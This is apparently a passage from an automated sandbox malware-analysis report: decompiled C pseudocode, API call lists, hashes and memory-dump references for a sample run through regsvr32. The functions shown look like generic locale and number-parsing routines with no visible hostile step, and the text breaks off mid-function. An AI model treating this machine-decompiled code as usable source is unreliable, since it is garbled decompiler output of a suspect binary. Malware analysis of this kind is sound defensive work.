					r15d = r15d & 0x0000fbff;
					r15d = r15d | 0x00000400;
					__eflags = r15d;
					_t42 = r15d;
					L21:
					E00437E20(0x2e, _t86, _t107);
					_t109 = _t86;
					_t85 = _t109;
					if(_t109 == 0) {
						_t19 = _t111 - 0x17; // -22
						_t110 = _t19;
						r9d = 7;
						GetLocaleInfoA(??, ??, ??, ??);
					} else {
						_t110 = _t109 + 1;
					}
					 *_t120 = E004434F0(_t85, _t110, _t105);
					goto L26;
				}
				 *_t111 = _t120;
				_t87 = _t86 + 1;
				 *((long long*)(_t111 - 0x10)) = _t87;
				E00437E20(0x2e, _t87, _t87);
				if(_t87 != 0) {
					 *_t87 = 0;
				}
				 *((long long*)(_t111 - 8)) = _t87;
				_t13 = _t111 - 0x60; // -95
				_t108 = _t13;
				r13d = 1;
				r12d = 0;
				while(1) {
					r9d = 0x40;
					r14d = GetLocaleInfoA(??, ??, ??, ??);
					E00441F00(_t87, _t108);
					_t105 =  *((intOrPtr*)(_t111 - 0x10));
					E00437D90(_t108,  *((intOrPtr*)(_t111 - 0x10)));
					r12d =  ==  ? 1 : r12d;
					_t42 =  ==  ? (r13d << 0x0000000a | r15d) & 0x0000ffff : 0;
					if(r14d == 0) {
						break;
					}
					r13d = r13d;
					if(r12d == 0) {
						continue;
					}
					break;
				}
				if(r12d == 0) {
					goto L25;
				}
				_t86 =  *((intOrPtr*)(_t111 - 8));
				if(_t86 != 0) {
					 *_t86 = 0x2e;
				}
				_t120 =  *_t111;
				_t107 =  *((intOrPtr*)(_t111 + 0x10));
				goto L21;
			}

0x0043fde0
0x0043fde0
0x0043fdf3
0x0043fdfe
0x0043fe01
0x0043fe04
0x0043fe08
0x0043fe0c
0x0043fe10
0x0043fe14
0x0043fe1b
0x0043fe25
0x0043fe2a
0x0043fe2c
0x0043fe32
0x0043fe32
0x0043fe36
0x0043fe36
0x0043fe3a
0x0043fe40
0x0043fe44
0x0043fe50
0x0043fe64
0x0043fe6f
0x0043fe79
0x0043fe81
0x0043fe88
0x0043fe90
0x0043fe98
0x0043fea0
0x0043fea3
0x0043feab
0x00000000
0x00000000
0x0043feb0
0x0043feb8
0x0043febe
0x0043feca
0x0043fece
0x0043fed5
0x0043fee1
0x00000000
0x00000000
0x0043feeb
0x0043fef3
0x0043ff0b
0x0043ff0b
0x0043ff0b
0x0043ff13
0x0043ff1e
0x0043ff23
0x0043ff15
0x0043ff15
0x0043ff15
0x00000000
0x0043ff13
0x0043fefd
0x0043ff05
0x00440037
0x0044003c
0x00440041
0x00440041
0x00440043
0x00440058
0x00440058
0x00000000
0x00000000
0x00000000
0x00000000
0x0043fed5
0x0043ff2f
0x0043ff37
0x0043ffe5
0x0043ffec
0x0043ffec
0x0043fff3
0x0043fff6
0x0043fffe
0x00440003
0x00440006
0x00440009
0x00440010
0x00440010
0x00440019
0x00440024
0x0044000b
0x0044000b
0x0044000b
0x00440031
0x00000000
0x00440031
0x0043ff3d
0x0043ff41
0x0043ff49
0x0043ff50
0x0043ff58
0x0043ff5a
0x0043ff5a
0x0043ff5d
0x0043ff63
0x0043ff63
0x0043ff67
0x0043ff6d
0x0043ff70
0x0043ff81
0x0043ff91
0x0043ff97
0x0043ff9f
0x0043ffa3
0x0043ffb4
0x0043ffb8
0x0043ffbe
0x00000000
0x00000000
0x0043ffc2
0x0043ffc8
0x00000000
0x00000000
0x00000000
0x0043ffc8
0x0043ffcd
0x00000000
0x00000000
0x0043ffcf
0x0043ffd6
0x0043ffd8
0x0043ffd8
0x0043ffdb
0x0043ffdf
0x00000000

APIs

GetLocaleInfoA.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000,?,?,000000FF), ref: 0043FE6F
GetLocaleInfoA.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000,?,?,000000FF), ref: 0043FE88
GetLocaleInfoA.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000,?,?,000000FF), ref: 0043FF8C
GetLocaleInfoA.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000,?,?,000000FF), ref: 00440024
SetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000,?,?,000000FF), ref: 0044003C

Strings

000, xrefs: 0043FE1B
none, xrefs: 0043FE14

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID: 000$none
API String ID: 661929714-644053244
Opcode ID: c978b6e092cda9d014aa749c10077d7f3e9211c4be161e2f2d4584f5e2d74e9f
Instruction ID: 7c2df6420e1f654729eabfe0ba8f3ed23eed1d12547d51ee11158b5b82ea6fcb
Opcode Fuzzy Hash: c978b6e092cda9d014aa749c10077d7f3e9211c4be161e2f2d4584f5e2d74e9f
Instruction Fuzzy Hash: FE514762B0069145FB256B6395123BF1652BB89BCCF04643BEF0A5BB85EF7CC9478348

Uniqueness

Uniqueness Score: -1.00%

Function 00446AA0 Relevance: 9.1, APIs: 6, Instructions: 106filethreadwindowCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32 ref: 00446B2A
GetCurrentThreadId.KERNEL32 ref: 00446B39
EnumThreadWindows.USER32 ref: 00446B4B
MessageBoxA.USER32 ref: 00446B6B
WriteFile.KERNEL32 ref: 00446C11
WriteFile.KERNEL32 ref: 00446C2E

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID: FileThreadWrite$CurrentEnumMessageVersionWindows
String ID:
API String ID: 1311223563-0
Opcode ID: 2f4344e6ce008adfced64d54b4da44b5e36258a1419da975898c4ef1be75b859
Instruction ID: cac750966c8d1cd0edc27b34fa3b3f5b344663d397c38ee59ed2fdeadeaeea38
Opcode Fuzzy Hash: 2f4344e6ce008adfced64d54b4da44b5e36258a1419da975898c4ef1be75b859
Instruction Fuzzy Hash: 1231442170165044FE29AB27ED547AA1241EB47BECF04422BED4D8BB84DF7CC187870A

Uniqueness

Uniqueness Score: -1.00%

Function 004172F0 Relevance: 6.9, Strings: 3, Instructions: 3131
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E004172F0(void* __ebx, signed int __edx, signed int __edi, void* __esp, void* __rbx, signed int __rdx, signed int* __rdi, void* __rsi, long long* __r8, long long __r9, void* __r11, void* __r12, void* __r13, void* __r14, signed int __r15, intOrPtr _a4, intOrPtr _a6, signed short _a8, intOrPtr _a10, intOrPtr _a12, intOrPtr _a14, char _a16, intOrPtr _a18, intOrPtr _a20, intOrPtr _a22, short _a24, long long _a32, char _a40, short _a48, void* _a56, signed int _a64, long long _a72, signed int _a76, signed int _a80, signed int _a84, signed int _a88, void* _a96, signed int _a100, signed int _a108, signed int _a112, intOrPtr _a208, intOrPtr _a224, signed int* _a232) {
				char _v16;
				char _v18;
				void* _v24;
				char _v32;
				char _v34;
				void* _v40;
				void* _v48;
				void* _v56;
				long long _v64;
				signed int* _v72;
				char _v80;
				void* _v88;
				char _v168;
				char _v488;
				signed int _t804;
				signed int _t809;
				signed short _t812;
				signed short _t813;
				signed short _t815;
				signed short _t818;
				signed short _t820;
				signed short _t821;
				signed short _t824;
				signed short _t825;
				signed short _t827;
				signed int _t829;
				signed short _t830;
				signed short _t831;
				signed short _t833;
				signed short _t834;
				signed short _t836;
				signed short _t838;
				signed short _t840;
				signed short _t841;
				signed short _t842;
				signed short _t843;
				signed short _t847;
				signed short _t848;
				signed short _t849;
				signed short _t850;
				signed short _t851;
				signed short _t852;
				signed short _t856;
				signed short _t858;
				signed short _t859;
				signed short _t860;
				signed short _t862;
				signed short _t863;
				signed short _t865;
				signed short _t868;
				void* _t871;
				void* _t872;
				void* _t879;
				signed int _t883;
				signed short _t886;
				signed short _t887;
				signed short _t889;
				signed short _t892;
				signed short _t894;
				signed short _t895;
				signed short _t898;
				signed short _t899;
				signed short _t901;
				signed int _t903;
				signed short _t904;
				signed short _t905;
				signed short _t907;
				signed short _t908;
				signed short _t910;
				signed short _t912;
				signed short _t914;
				signed short _t915;
				signed short _t916;
				signed short _t917;
				signed short _t918;
				signed short _t921;
				signed short _t922;
				signed short _t923;
				signed short _t924;
				signed short _t925;
				signed short _t926;
				signed short _t927;
				signed short _t931;
				signed short _t933;
				signed short _t934;
				signed short _t935;
				signed short _t937;
				signed short _t939;
				signed short _t941;
				signed short _t943;
				void* _t945;
				signed int _t948;
				signed short _t949;
				signed short _t950;
				signed short _t951;
				signed short _t952;
				signed int _t956;
				signed int _t957;
				signed short _t958;
				signed short _t959;
				signed short _t961;
				signed short _t962;
				signed short _t964;
				signed short _t966;
				signed short _t968;
				signed short _t969;
				signed short _t971;
				signed int _t973;
				signed short _t974;
				signed short _t975;
				signed short _t977;
				signed short _t978;
				signed short _t980;
				signed int _t986;
				signed short _t988;
				signed short _t992;
				signed short _t993;
				signed int _t995;
				signed short _t996;
				signed short _t997;
				signed short _t999;
				signed short _t1000;
				signed short _t1002;
				signed char _t1009;
				signed char _t1010;
				signed int _t1014;
				signed int _t1015;
				signed int _t1016;
				signed int _t1024;
				signed short _t1030;
				signed int _t1031;
				signed int _t1033;
				signed int _t1034;
				signed int _t1042;
				signed short _t1048;
				signed int _t1049;
				signed int _t1052;
				signed int _t1053;
				signed int _t1054;
				signed int _t1056;
				signed int _t1058;
				signed int _t1059;
				signed int _t1060;
				signed int _t1061;
				signed int _t1062;
				signed int _t1063;
				signed int _t1064;
				signed int _t1068;
				signed int _t1069;
				signed int _t1070;
				signed int _t1071;
				signed int _t1072;
				signed int _t1073;
				signed int _t1074;
				signed int _t1075;
				signed int _t1077;
				signed int _t1079;
				signed int _t1081;
				signed int _t1082;
				signed int _t1083;
				signed int _t1084;
				signed int _t1085;
				signed int _t1086;
				signed int _t1088;
				signed int _t1089;
				void* _t1090;
				signed int _t1091;
				signed char _t1093;
				void* _t1094;
				void* _t1095;
				void* _t1096;
				void* _t1097;
				void* _t1098;
				signed int _t1099;
				signed int _t1100;
				signed int _t1101;
				signed int _t1103;
				signed int _t1105;
				signed int _t1108;
				signed int _t1110;
				void* _t1112;
				void* _t1113;
				void* _t1114;
				void* _t1115;
				void* _t1116;
				void* _t1117;
				void* _t1118;
				signed int _t1119;
				signed int _t1120;
				signed int _t1121;
				signed int _t1123;
				signed int _t1125;
				signed int _t1127;
				void* _t1129;
				signed int _t1130;
				signed int _t1133;
				signed int _t1135;
				signed int _t1137;
				signed int _t1138;
				void* _t1140;
				signed int _t1141;
				signed int _t1143;
				signed int _t1145;
				signed int _t1147;
				intOrPtr* _t1252;
				intOrPtr* _t1255;
				signed int _t1256;
				char* _t1257;
				signed long long _t1259;
				intOrPtr* _t1260;
				char _t1261;
				char _t1262;
				char* _t1265;
				signed long long _t1267;
				signed short* _t1269;
				signed short** _t1271;
				signed short* _t1274;
				signed short* _t1277;
				signed short* _t1280;
				signed short* _t1283;
				signed short** _t1285;
				signed short* _t1288;
				signed short** _t1290;
				signed short* _t1294;
				signed short* _t1297;
				signed short** _t1299;
				signed short* _t1302;
				signed short* _t1305;
				signed short* _t1308;
				signed short* _t1311;
				char* _t1314;
				signed long long _t1316;
				signed short* _t1318;
				signed short* _t1321;
				signed short* _t1324;
				long long* _t1326;
				char* _t1328;
				signed short* _t1331;
				signed short* _t1334;
				signed short** _t1336;
				signed short* _t1339;
				intOrPtr* _t1341;
				signed short** _t1343;
				signed short* _t1346;
				signed short* _t1349;
				signed short* _t1352;
				signed short* _t1355;
				signed short* _t1358;
				signed short* _t1361;
				signed short** _t1363;
				short _t1365;
				void* _t1368;
				char* _t1369;
				signed long long _t1371;
				void* _t1373;
				short _t1374;
				char _t1375;
				signed int* _t1376;
				intOrPtr* _t1378;
				intOrPtr* _t1381;
				signed short* _t1384;
				char* _t1386;
				signed long long _t1388;
				intOrPtr _t1393;
				char* _t1398;
				signed long long _t1400;
				signed short* _t1402;
				signed short** _t1404;
				signed short* _t1407;
				signed short* _t1410;
				signed short* _t1413;
				signed short** _t1415;
				signed short* _t1418;
				signed short* _t1421;
				signed short** _t1423;
				signed short* _t1427;
				signed short* _t1430;
				signed short** _t1432;
				signed short* _t1435;
				signed short* _t1438;
				signed short* _t1441;
				signed short* _t1444;
				char* _t1446;
				signed long long _t1448;
				signed short* _t1450;
				signed short** _t1452;
				signed short* _t1455;
				signed short* _t1458;
				char* _t1461;
				signed short* _t1464;
				signed short** _t1466;
				signed short* _t1469;
				signed short* _t1472;
				intOrPtr* _t1474;
				signed short** _t1476;
				signed short* _t1479;
				signed short* _t1482;
				signed short* _t1485;
				char* _t1487;
				signed int _t1488;
				signed short* _t1490;
				signed short** _t1492;
				signed short* _t1495;
				signed short* _t1498;
				signed short* _t1500;
				intOrPtr _t1501;
				void* _t1504;
				long long _t1505;
				intOrPtr* _t1506;
				signed short* _t1509;
				long long* _t1511;
				void* _t1518;
				signed int _t1521;
				signed short** _t1524;
				signed short* _t1527;
				signed short* _t1532;
				signed short** _t1534;
				signed short* _t1538;
				signed short* _t1541;
				signed short* _t1544;
				intOrPtr* _t1546;
				intOrPtr* _t1547;
				signed short* _t1551;
				signed short* _t1554;
				signed short* _t1557;
				signed short** _t1559;
				void* _t1565;
				signed int _t1566;
				intOrPtr* _t1570;
				intOrPtr* _t1571;
				intOrPtr* _t1573;
				signed int _t1574;
				signed int* _t1576;
				signed int* _t1577;
				char* _t1578;
				signed int _t1579;
				signed int* _t1580;
				signed int _t1581;
				long long* _t1582;
				intOrPtr* _t1584;
				intOrPtr* _t1586;
				intOrPtr* _t1588;
				intOrPtr* _t1590;
				intOrPtr* _t1592;
				intOrPtr* _t1593;
				char* _t1594;
				signed int* _t1596;
				intOrPtr* _t1597;
				intOrPtr* _t1598;
				intOrPtr* _t1600;
				intOrPtr* _t1601;
				intOrPtr* _t1602;
				intOrPtr* _t1603;
				intOrPtr* _t1604;
				intOrPtr* _t1605;
				intOrPtr _t1606;
				intOrPtr* _t1607;
				intOrPtr* _t1608;
				intOrPtr* _t1609;
				intOrPtr* _t1610;
				intOrPtr* _t1611;
				intOrPtr* _t1612;
				intOrPtr* _t1613;
				intOrPtr* _t1614;
				intOrPtr* _t1616;
				char* _t1619;
				intOrPtr* _t1621;
				intOrPtr* _t1622;
				intOrPtr* _t1624;
				intOrPtr* _t1625;
				intOrPtr* _t1627;
				intOrPtr* _t1628;
				intOrPtr* _t1629;
				intOrPtr* _t1631;
				intOrPtr* _t1633;
				intOrPtr* _t1636;
				intOrPtr* _t1637;
				intOrPtr* _t1639;
				intOrPtr* _t1642;
				intOrPtr* _t1644;
				char* _t1646;
				intOrPtr* _t1648;
				intOrPtr* _t1650;
				signed int _t1651;
				intOrPtr* _t1652;
				intOrPtr _t1653;
				signed int _t1654;
				intOrPtr* _t1657;
				intOrPtr* _t1659;
				intOrPtr* _t1661;
				intOrPtr* _t1663;
				intOrPtr* _t1665;
				intOrPtr* _t1666;
				intOrPtr* _t1667;
				intOrPtr* _t1668;
				intOrPtr* _t1669;
				intOrPtr* _t1670;
				intOrPtr* _t1672;
				intOrPtr* _t1673;
				intOrPtr* _t1674;
				intOrPtr* _t1675;
				intOrPtr* _t1676;
				intOrPtr* _t1677;
				intOrPtr _t1678;
				intOrPtr* _t1679;
				intOrPtr* _t1680;
				intOrPtr* _t1681;
				intOrPtr* _t1682;
				intOrPtr* _t1683;
				intOrPtr* _t1684;
				intOrPtr* _t1686;
				intOrPtr* _t1689;
				intOrPtr* _t1690;
				intOrPtr* _t1692;
				intOrPtr* _t1693;
				intOrPtr* _t1695;
				intOrPtr* _t1696;
				intOrPtr* _t1697;
				intOrPtr* _t1699;
				intOrPtr* _t1701;
				char* _t1704;
				intOrPtr* _t1706;
				intOrPtr* _t1707;
				intOrPtr* _t1708;
				intOrPtr* _t1709;
				intOrPtr* _t1711;
				intOrPtr* _t1714;
				intOrPtr* _t1716;
				char* _t1718;
				intOrPtr* _t1720;
				intOrPtr* _t1722;
				intOrPtr* _t1723;
				intOrPtr* _t1724;
				intOrPtr _t1725;
				char* _t1726;
				signed long long _t1728;
				void* _t1730;
				intOrPtr _t1733;
				intOrPtr _t1734;
				intOrPtr* _t1736;
				char* _t1740;
				intOrPtr* _t1742;
				intOrPtr* _t1744;
				intOrPtr* _t1745;
				intOrPtr* _t1746;
				intOrPtr* _t1748;
				intOrPtr* _t1749;
				intOrPtr* _t1751;
				intOrPtr* _t1752;
				intOrPtr* _t1754;
				intOrPtr* _t1755;
				intOrPtr _t1758;
				intOrPtr _t1759;
				intOrPtr* _t1761;
				char* _t1766;
				intOrPtr* _t1768;
				intOrPtr* _t1770;
				intOrPtr* _t1772;
				intOrPtr* _t1773;
				signed short* _t1779;
				signed short* _t1783;
				signed short* _t1787;
				signed short* _t1790;
				signed int _t1795;
				signed short* _t1799;
				signed short* _t1800;
				signed short* _t1804;
				signed short* _t1808;
				signed int _t1812;
				signed short* _t1815;
				signed short* _t1819;
				signed short* _t1823;
				signed short* _t1826;
				signed short* _t1831;
				signed short* _t1835;
				signed short* _t1839;
				signed short* _t1843;
				signed short* _t1852;
				signed short* _t1853;
				signed short* _t1856;
				signed short* _t1861;
				signed short* _t1871;
				signed int _t1872;
				signed short* _t1873;
				signed int* _t1879;
				signed int* _t1881;
				signed int* _t1882;
				intOrPtr* _t1883;
				signed int* _t1884;
				signed int* _t1885;
				signed int _t1886;
				signed int* _t1888;
				signed int* _t1889;
				signed int* _t1890;
				signed int* _t1891;
				signed int* _t1892;
				signed int* _t1893;
				intOrPtr* _t1894;
				signed int* _t1895;
				signed int* _t1896;
				signed int _t1897;
				intOrPtr _t1899;
				intOrPtr* _t1900;
				signed short* _t1902;
				signed int* _t1904;
				void* _t1905;
				intOrPtr _t1906;
				intOrPtr* _t1907;
				long long _t1909;
				signed short* _t1911;
				signed int* _t1912;
				intOrPtr* _t1913;
				char* _t1914;
				void* _t1916;
				void* _t1917;
				long long* _t1922;
				signed int _t1924;
				signed int _t1927;
				long long _t1929;
				char* _t1935;
				char _t1936;
				intOrPtr* _t1937;
				long long _t1938;
				char* _t1939;
				signed int _t1941;
				char* _t1942;
				void* _t1943;
				long long _t1944;
				char* _t1949;
				char* _t1952;
				char* _t1957;
				signed int _t1958;
				char* _t1959;
				void* _t1960;
				signed int _t1961;
				char* _t1962;
				long long _t1963;
				signed int _t1965;
				signed int _t1966;
				char* _t1967;
				char* _t1969;
				signed int _t1970;
				short* _t1971;
				signed int _t1974;
				signed int _t1975;

				_t1966 = __r15;
				_t1931 = __r11;
				_t1928 = __r9;
				_t1921 = __r8;
				_t1879 = __rdi;
				_t1149 = __esp;
				_t1067 = __edi;
				_t1051 = __edx;
				_t1008 = __ebx;
				_push(__r15);
				_push(__rsi);
				_push(__rdi);
				_t1917 = _t1916 - 0xe8;
				_t1913 =  &_v168;
				_t1933 = __r9;
				_t1946 = __r8;
				_t1951 = __rdx;
				_t1899 = _a208;
				if((0x00001800 &  *(_t1899 + 0x18)) != 0x1800) {
					_t1584 =  *((intOrPtr*)( *((intOrPtr*)(_t1899 + 0x40))));
					_v64 = _t1584;
					_t1252 =  *_t1584;
					 *((intOrPtr*)(_t1252 + 0x10))();
					E00412FF0(__ebx, __edx, __edi, __esp,  &_v64, __r8, __r9, __r11, __r9, __r8, __rdx, __r15);
					_t1573 = _t1252;
					_t1586 = _v64;
					__eflags = _t1586;
					if(_t1586 != 0) {
						_t1571 =  *_t1586;
						 *((intOrPtr*)(_t1571 + 0x18))();
						__eflags = _t1571;
						if(_t1571 != 0) {
							 *((intOrPtr*)( *_t1571 + 8))();
						}
					}
					 *((intOrPtr*)( *_t1573 + 0x30))();
					_t1588 =  *((intOrPtr*)( *((intOrPtr*)(_t1899 + 0x40))));
					_a16 = _t1588;
					_t1255 =  *_t1588;
					 *((intOrPtr*)(_t1255 + 0x10))();
					E004119C0(_t1008, _t1051, _t1067, _t1149,  &_a16, _t1921, _t1928, _t1931, _t1951);
					_t1900 = _t1255;
					_t1590 = _a16;
					__eflags = _t1590;
					if(_t1590 != 0) {
						_t1570 =  *_t1590;
						 *((intOrPtr*)(_t1570 + 0x18))();
						__eflags = _t1570;
						if(_t1570 != 0) {
							 *((intOrPtr*)( *_t1570 + 8))();
						}
					}
					_t1256 =  *_t1900;
					_t1922 = 0x44eb2f;
					_t1929 =  &_v16;
					 *((intOrPtr*)(_t1256 + 0x68))();
					_t1592 =  *_t1946;
					_t1093 = 0;
					__eflags = _t1592;
					_t1068 = 0;
					if(_t1592 != 0) {
						_t1256 =  *((intOrPtr*)( *((intOrPtr*)(_t1592 + 0x38))));
						__eflags = _t1256;
						if(_t1256 == 0) {
							L12:
							_t1256 =  *_t1592;
							_t1002 =  *((intOrPtr*)(_t1256 + 0x38))();
						} else {
							__eflags =  *( *(_t1592 + 0x50));
							if( *( *(_t1592 + 0x50)) <= 0) {
								goto L12;
							} else {
								_t1002 =  *_t1256 & 0x0000ffff;
							}
						}
						_t1068 = 0;
						__eflags = (_t1002 & 0x0000ffff) - 0xffff;
						dil = (_t1002 & 0x0000ffff) != 0xffff;
						__eflags = dil;
					}
					_t1593 =  *_t1933;
					__eflags = _t1593;
					if(_t1593 != 0) {
						_t1256 =  *((intOrPtr*)( *((intOrPtr*)(_t1593 + 0x38))));
						__eflags = _t1256;
						if(_t1256 == 0) {
							L18:
							_t1256 =  *_t1593;
							_t1000 =  *((intOrPtr*)(_t1256 + 0x38))();
						} else {
							__eflags =  *( *(_t1593 + 0x50));
							if( *( *(_t1593 + 0x50)) <= 0) {
								goto L18;
							} else {
								_t1000 =  *_t1256 & 0x0000ffff;
							}
						}
						_t1093 = 0;
						__eflags = (_t1000 & 0x0000ffff) - 0xffff;
						sil = (_t1000 & 0x0000ffff) != 0xffff;
						__eflags = sil;
					}
					__eflags = _t1068 - _t1093;
					_t1594 = _t1951;
					if(_t1068 != _t1093) {
						__eflags =  *(_t1946 + 8);
						if( *(_t1946 + 8) == 0) {
							_t1773 =  *_t1946;
							__eflags = _t1773;
							if(_t1773 == 0) {
								L29:
								 *_t1946 = 0;
							} else {
								_t1256 =  *((intOrPtr*)( *((intOrPtr*)(_t1773 + 0x38))));
								__eflags = _t1256;
								if(_t1256 == 0) {
									L26:
									_t1256 =  *_t1773;
									_t999 =  *((intOrPtr*)(_t1256 + 0x38))();
								} else {
									__eflags =  *( *(_t1773 + 0x50));
									if( *( *(_t1773 + 0x50)) <= 0) {
										goto L26;
									} else {
										_t999 =  *_t1256 & 0x0000ffff;
									}
								}
								_t1014 = _t999 & 0x0000ffff;
								__eflags = _t1014 - 0xffff;
								if(_t1014 == 0xffff) {
									goto L29;
								} else {
									 *(_t1946 + 0xa) = _t999;
								}
							}
							 *(_t1946 + 8) = 1;
						}
						_t995 =  *(_t1946 + 0xa) & 0x0000ffff;
						__eflags = _t995 - _a6;
						if(_t995 != _a6) {
							__eflags = _t995 - _a4;
							_t1594 = _t1951;
							if(_t995 == _a4) {
								 *_t1951 = 0x2d;
								_t1770 =  *_t1946;
								__eflags = _t1770;
								if(_t1770 == 0) {
									goto L44;
								} else {
									_t1256 =  *((intOrPtr*)(_t1770 + 0x38));
									_t1873 =  *_t1256;
									__eflags = _t1873;
									if(_t1873 == 0) {
										L41:
										_t1256 =  *_t1770;
										_t997 =  *((intOrPtr*)(_t1256 + 0x40))();
									} else {
										_t1912 =  *((intOrPtr*)(_t1770 + 0x50));
										_t1091 =  *_t1912;
										__eflags = _t1091;
										if(_t1091 <= 0) {
											goto L41;
										} else {
											goto L40;
										}
									}
									goto L42;
								}
								goto L45;
							}
						} else {
							 *_t1951 = 0x2b;
							_t1772 =  *_t1946;
							__eflags = _t1772;
							if(_t1772 == 0) {
								L44:
								 *_t1946 = 0;
								_t996 = 1;
							} else {
								_t1256 =  *((intOrPtr*)(_t1772 + 0x38));
								_t1873 =  *_t1256;
								__eflags = _t1873;
								if(_t1873 == 0) {
									L35:
									_t1256 =  *_t1772;
									_t997 =  *((intOrPtr*)(_t1256 + 0x40))();
								} else {
									_t1912 =  *((intOrPtr*)(_t1772 + 0x50));
									_t1091 =  *_t1912;
									__eflags = _t1091;
									if(_t1091 > 0) {
										L40:
										 *_t1912 = _t1091 - 1;
										 *_t1256 =  &(_t1873[1]);
										_t997 =  *_t1873 & 0x0000ffff;
									} else {
										goto L35;
									}
								}
								L42:
								__eflags = (_t997 & 0x0000ffff) - 0xffff;
								if((_t997 & 0x0000ffff) == 0xffff) {
									goto L44;
								} else {
									_t996 = 0;
								}
							}
							L45:
							_t1594 = _t1951 + 1;
							 *(_t1946 + 8) = _t996;
						}
					}
					_v24 = _t1594;
					_t1901 = _t1594 + 1;
					 *_t1594 = 0x30;
					__eflags = _v32 - 0xf;
					_t1596 =  >  ? _v56 :  &_v56;
					_t804 =  *_t1596;
					__eflags = _t804 - 0x7f;
					_a56 = _t1933;
					_v80 = _t1951;
					_a88 = _t1594 + 1;
					_v88 = _t1573;
					if(_t804 == 0x7f) {
						L50:
						_a76 = 0;
						_t1952 =  &_v18;
						_t1009 = 0;
						_a64 = _t1256;
						r15d = 0;
						while(1) {
							_t1597 =  *_t1946;
							__eflags = _t1597;
							_t1069 = 0;
							if(_t1597 == 0) {
								goto L75;
							}
							_t1361 =  *((intOrPtr*)( *((intOrPtr*)(_t1597 + 0x38))));
							__eflags = _t1361;
							if(_t1361 == 0) {
								L73:
								_t868 =  *((intOrPtr*)( *_t1597 + 0x38))();
							} else {
								__eflags =  *( *(_t1597 + 0x50));
								if( *( *(_t1597 + 0x50)) <= 0) {
									goto L73;
								} else {
									_t868 =  *_t1361 & 0x0000ffff;
								}
							}
							_t1069 = 0;
							__eflags = (_t868 & 0x0000ffff) - 0xffff;
							dil = (_t868 & 0x0000ffff) != 0xffff;
							__eflags = dil;
							L75:
							_t1598 =  *_t1933;
							__eflags = _t1598;
							if(_t1598 == 0) {
								_t806 = 0;
								__eflags = _t1069;
								if(_t1069 != 0) {
									goto L81;
								} else {
								}
							} else {
								_t1358 =  *((intOrPtr*)( *((intOrPtr*)(_t1598 + 0x38))));
								__eflags = _t1358;
								if(_t1358 == 0) {
									L79:
									_t863 =  *((intOrPtr*)( *_t1598 + 0x38))();
								} else {
									__eflags =  *( *(_t1598 + 0x50));
									if( *( *(_t1598 + 0x50)) <= 0) {
										goto L79;
									} else {
										_t863 =  *_t1358 & 0x0000ffff;
									}
								}
								__eflags = (_t863 & 0x0000ffff) - 0xffff;
								_t806 = 0 | __eflags != 0x00000000;
								if(__eflags != 0) {
									L81:
									__eflags =  *(_t1946 + 8);
									if( *(_t1946 + 8) == 0) {
										_t1650 =  *_t1946;
										__eflags = _t1650;
										if(_t1650 == 0) {
											L91:
											 *_t1946 = 0;
										} else {
											_t1355 =  *((intOrPtr*)( *((intOrPtr*)(_t1650 + 0x38))));
											__eflags = _t1355;
											if(_t1355 == 0) {
												L88:
												_t806 =  *((intOrPtr*)( *_t1650 + 0x38))();
											} else {
												__eflags =  *( *(_t1650 + 0x50));
												if( *( *(_t1650 + 0x50)) <= 0) {
													goto L88;
												} else {
													_t806 =  *_t1355 & 0x0000ffff;
												}
											}
											__eflags = (_t806 & 0x0000ffff) - 0xffff;
											if((_t806 & 0x0000ffff) == 0xffff) {
												goto L91;
											} else {
												 *(_t1946 + 0xa) = _t806;
											}
										}
										 *(_t1946 + 8) = 1;
									}
									_t1015 =  *(_t1946 + 0xa) & 0x0000ffff;
									_t1257 = _t1952;
									asm("o16 nop [cs:eax+eax]");
									while(1) {
